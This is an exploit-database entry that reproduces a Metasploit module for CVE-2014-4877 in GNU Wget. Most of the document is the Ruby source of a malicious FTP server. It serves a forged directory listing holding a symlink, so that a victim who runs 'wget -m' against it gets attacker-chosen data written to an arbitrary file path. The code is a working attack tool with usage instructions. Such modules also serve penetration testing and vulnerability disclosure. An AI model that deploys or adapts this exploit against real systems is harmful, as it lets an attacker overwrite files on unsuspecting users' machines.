GNU Wget FTP Symlink Arbitrary Filesystem Access Exploit

2014-11-01T00:00:00
ID 1337DAY-ID-22812
Type zdt
Reporter metasploit
Modified 2014-11-01T00:00:00

Description

This module exploits a vulnerability in Wget when used in recursive (-r) mode with a FTP server as a destination. A symlink is used to allow arbitrary writes to the target's filesystem. To specify content for the file, use the "file:/path" syntax for the TARGET_DATA option. Tested successfully with wget 1.14. Versions prior to 1.16 are presumed vulnerable.#### Usage Info msf > use auxiliary/server/wget_symlink_file_write msf auxiliary(wget_symlink_file_write) > show actions ...actions... msf auxiliary(wget_symlink_file_write) > set ACTION <action-name> msf auxiliary(wget_symlink_file_write) > show options ...show and set options... msf auxiliary(wget_symlink_file_write) > run

                                        
                                            ##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 &lt; Msf::Auxiliary
include Msf::Exploit::Remote::FtpServer
include Msf::Auxiliary::Report
def initialize
super(
'Name' =&gt; 'GNU Wget FTP Symlink Arbitrary Filesystem Access',
'Description' =&gt; %q{
This module exploits a vulnerability in Wget when used in
recursive (-r) mode with a FTP server as a destination. A
symlink is used to allow arbitrary writes to the target's
filesystem. To specify content for the file, use the
"file:/path" syntax for the TARGET_DATA option.
Tested successfully with wget 1.14. Versions prior to 1.16
are presumed vulnerable.
},
'Author' =&gt; ['hdm'],
'License' =&gt; MSF_LICENSE,
'Actions' =&gt; [['Service']],
'PassiveActions' =&gt; ['Service'],
'References' =&gt;
[
[ 'CVE', '2014-4877'],
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1139181' ],
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/10/28/r7-2014-15-gnu-wget-ftp-symlink-arbitrary-filesystem-access' ]
],
'DefaultAction' =&gt; 'Service',
'DisclosureDate' =&gt; 'Oct 27 2014'
)
register_options(
[
OptString.new('TARGET_FILE', [ true, "The target file to overwrite", '/tmp/pwned' ]),
OptString.new('TARGET_DATA', [ true, "The data to write to the target file", 'Hello from Metasploit' ]),
OptPort.new('SRVPORT', [ true, "The port for the malicious FTP server to listen on", 2121])
], self.class)
@fakedir = Rex::Text.rand_text_alphanumeric(rand(8)+8)
end
def run
my_address = Rex::Socket.source_address
print_good("Targets should run: $ wget -m ftp://#{my_address}:#{datastore['SRVPORT']}/")
exploit()
end
def on_client_command_user(c,arg)
@state[c][:user] = arg
c.put "331 User name okay, need password...\r\n"
end
def on_client_command_pass(c,arg)
@state[c][:pass] = arg
c.put "230 Login OK\r\n"
@state[c][:auth] = true
print_status("#{@state[c][:name]} Logged in with user '#{@state[c][:user]}' and password '#{@state[c][:user]}'...")
end
def on_client_command_retr(c,arg)
print_status("#{@state[c][:name]} -&gt; RETR #{arg}")
if not @state[c][:auth]
c.put "500 Access denied\r\n"
return
end
unless arg.index(::File.basename(datastore['TARGET_FILE']))
c.put "550 File does not exist\r\n"
return
end
conn = establish_data_connection(c)
if not conn
c.put("425 Can't build data connection\r\n")
return
end
c.put("150 Opening BINARY mode data connection for #{arg}\r\n")
conn.put(datastore['TARGET_DATA'])
c.put("226 Transfer complete.\r\n")
conn.close
print_good("#{@state[c][:name]} Hopefully wrote #{datastore['TARGET_DATA'].length} bytes to #{datastore['TARGET_FILE']}")
end
def on_client_command_list(c,arg)
print_status("#{@state[c][:name]} -&gt; LIST #{arg}")
if not @state[c][:auth]
c.put "500 Access denied\r\n"
return
end
conn = establish_data_connection(c)
if not conn
c.put("425 Can't build data connection\r\n")
return
end
pwd = @state[c][:cwd]
buf = ''
dstamp = Time.at(Time.now.to_i-((3600*24*365)+(3600*24*(rand(365)+1)))).strftime("%b %e %Y")
unless pwd.index(@fakedir)
buf &lt;&lt; "lrwxrwxrwx 1 root root 33 #{dstamp} #{@fakedir} -&gt; #{::File.dirname(datastore['TARGET_FILE'])}\r\n"
buf &lt;&lt; "drwxrwxr-x 15 root root 4096 #{dstamp} #{@fakedir}\r\n"
else
buf &lt;&lt; "-rwx------ 1 root root #{"%9d" % datastore['TARGET_DATA'].length} #{dstamp} #{::File.basename(datastore['TARGET_FILE'])}\r\n"
end
c.put("150 Opening ASCII mode data connection for /bin/ls\r\n")
conn.put("total #{buf.length}\r\n" + buf)
c.put("226 Transfer complete.\r\n")
conn.close
end
def on_client_command_size(c,arg)
if not @state[c][:auth]
c.put "500 Access denied\r\n"
return
end
c.put("213 #{datastore['TARGET_DATA'].length}\r\n")
end
def on_client_command_cwd(c,arg)
print_status("#{@state[c][:name]} -&gt; CWD #{arg}")
if not @state[c][:auth]
c.put "500 Access denied\r\n"
return
end
upath = "/"
npath = ::File.join(@state[c][:cwd], arg)
bpath = npath[upath.length, npath.length - upath.length]
# Check for traversal above the root directory
if not (npath[0, upath.length] == upath or bpath == '')
bpath = '/'
end
bpath = '/' if bpath == ''
@state[c][:cwd] = bpath
c.put "250 CWD command successful.\r\n"
end
end

#  0day.today [2018-01-05]  #